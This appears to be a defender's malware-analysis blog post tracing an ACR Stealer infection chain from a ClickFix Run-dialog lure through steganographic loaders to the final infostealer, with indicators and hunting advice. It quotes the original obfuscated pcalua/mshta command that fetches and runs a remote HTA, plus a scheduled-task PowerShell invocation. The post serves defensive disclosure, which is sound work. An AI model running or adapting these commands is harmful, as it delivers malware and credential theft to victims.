ACR Stealer: ClickFix, Etherhiding, and Stego, Oh My!

Last Updated: 2026-07-29T21:28:50Z

What’s Happening

Earlier this month, Microsoft reported on ACR Stealer, a new campaign leveraging both Steganography and Etherhiding techniques for delivery.

Yesterday, I caught myself a sample. Mine doesn’t have Etherhiding, but the rest makes for a fun exploration anyhow. Let’s dive in.

Recommended Musical Accompaniment

“Arc of a Diver,” by Steve Wynnwood.

https://www.youtube.com/watch?v=nqotifaBzrM

Disclaimer: A LLM assisted with deobfuscation/decryption of later stages.

Stage 1: Initial Access via ClickFix

While the infected site remains an open question, we do know the infected system ran the Windows Run dialog with the following command:

"C:\windows\system32\pcalua.exe" -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team[.]com/6272' -Wi Hi"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s

Right off the bat we have pcalua.exe executable as the proxy for PowerShell. The Program Compatibility Assistant is supposed when Windows detects there’s a compatibility issue with the executable. This will basically never be the case in modern systems. Its execution is highly likely to be an indicator.

The rest is obvious evasion behavior. saps is the more-obscure PowerShell alias for Start-Process, and then of course we have caret interruption with mshta.exe, pulling a .hta file from fine-work-team[.]com/6272. Here’s where things get weird.

Stage 2: Obfuscated Loader

The 6272 file downloaded from fine-work-team[.]com is, at first glance, a real-deal .mp3 file. You can even listen to it! But for a tiny squirk at 1:23, you might not notice anything wrong with it.

Opening the file directly though, you’ll find:

Ah yeah. That’s VBScript. See, mshta.exe and the browser it pops doesn’t care about extraneous bytes around the HTML, so long as there is valid HTML. And embedded VBScript, naturally.

The VBScript is heavily obfuscated, but ultimately creates a Scheduled Task called serviceyib with a task action of POWerSHEll & (gi C:\W*\S*4\W*\v*\p*ell.exe) -EncodedCommand <base64>.

What does the task do? On to Stage 3.

Stage 3: More Encoded PowerShell

This stage collects system information to presumably be sent ater. It also performs an AMSI bypass, which it decodes from a custom RC4 decryption routine. Having bypassed AMSI, it proceeds pull the next stage from hxxps://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520 and launch it, sending the contents of the download as stdin.

Stage 4: Image Stego

Doesn’t this seem like a little much for an infostealer? Anyway, here the PowerShell from the last stage contains a URL to hxxps://i.ibb.co/Q7yqNJpr/init-block[.]jpg', which just looks like noise.

But the PowerShell does something pretty clever. It takes the 5408x5408-pixel image and chunks it into 8x8 blocks, taking the average grayscale value of each block. The result is a byte array (reversed) that is flipped and XORed with an embedded key, then GZip-decompressed. The results is, yes, more PowerShell.

Stage 5: A Shellcode Loader

This chunk of PS is a straightforward loader/injector that performs reflective process injection of shellcode that itself takes a compressed PE and loads that as the final payload.

Stage 6: The Final Payload

This is, mercifully, a known entity. Of course, the executable never hits the filesystem, but it’s definitely ACR Stealer masquerading as WPA.exe per its .rsrc information.

The amount of anti-analysis in this thing is something else for a stealer. There are no static imports. Instead it walks the PEB and hashes export names. It performs direct syscalls and avoids ntdll and kernel32, evading EDR.

I only did static analysis, but public reports of the same artifact tell us that the eventual exfiltration destination is hxxps://app-api.lensstory[.]cc/.

Final Analysis

This is one of the most elaborate obfuscation regimens I’ve seen for infostealers. But indeed, only the last part of the chain is the infostealer, suggesting that this loading mechanism could be used for other types of payloads as well. We know better than to relegated ClickFix initial access to the realm of simple cybercrime. On the other hand, this could be an indication that AI-assisted development means that complex obfuscation like this is within reach of more threat actors.

Actions

Review the ACR Stealer site and this report for relevant IOCs, and add them to blocking/hunt lists as appropriate.

I strongly recommend hunting for pcalua.exe execution in your environment. If it is low-prevalence, consider alerting on its execution.

WPA.exe, given the masquerading, should also be alerted outside its proper location.

Indicators

Value Type Description
fine-work-team[.]com Domain Stage 1 loader destination
gpurq.gravityzone[.]army Domain Stage 2 C2 domain
hxxps://gpurq.gravityzone[.]army/019f2a71-8c43-7b95-a6d2-3e8471f9c520 URL Stage 2 C2 URL
019f2a71-8c43-7b95-a6d2-3e8471f9c520 UUID Stage 2 beacon ID / C2 resource path.
i.ibb.co Domain Stage 3 image hosting CDN
https://i.ibb.co/Q7yqNJpr/init-block.jpg URL Stage 3 steganographic payload image
init-block.jpg Filename Stage 3 payload filename as fetched
serviceyib Scheduled Task name Persistence task registered via Schedule.Service
POWerSHEll & (gi C:\W*\S*4\W*\v*\p*ell.exe) -EncodedCommand Command line Stage-2 wildcard-glob PowerShell invocation
b25ad01d164b09566c8103036305488c MD5 Stage 6 final PE
0ae3e511624ae31b1b87ebb1019f90a41eb5e68001dca34d8f0598eda8f9ffae SHA-256 Stage-6 final PE
WPA.exe PE impersonation Stage 6 masquerades as Windows Performance Analyzer. Alert on unsigned WPA.exe from untrusted locations

Notes

I will again note that I used an LLM (GLM 5.2, to be precise) to assist with debofuscation and decryption. I analyzed each stage directly afterwards.

As much as I despite what LLMs are doing to us, this particular use case is obviously valuable. And if, as I suspect, the baddies are using them to further complicate analysis, I don’t very much like the idea of having my hands tied.

2 Likes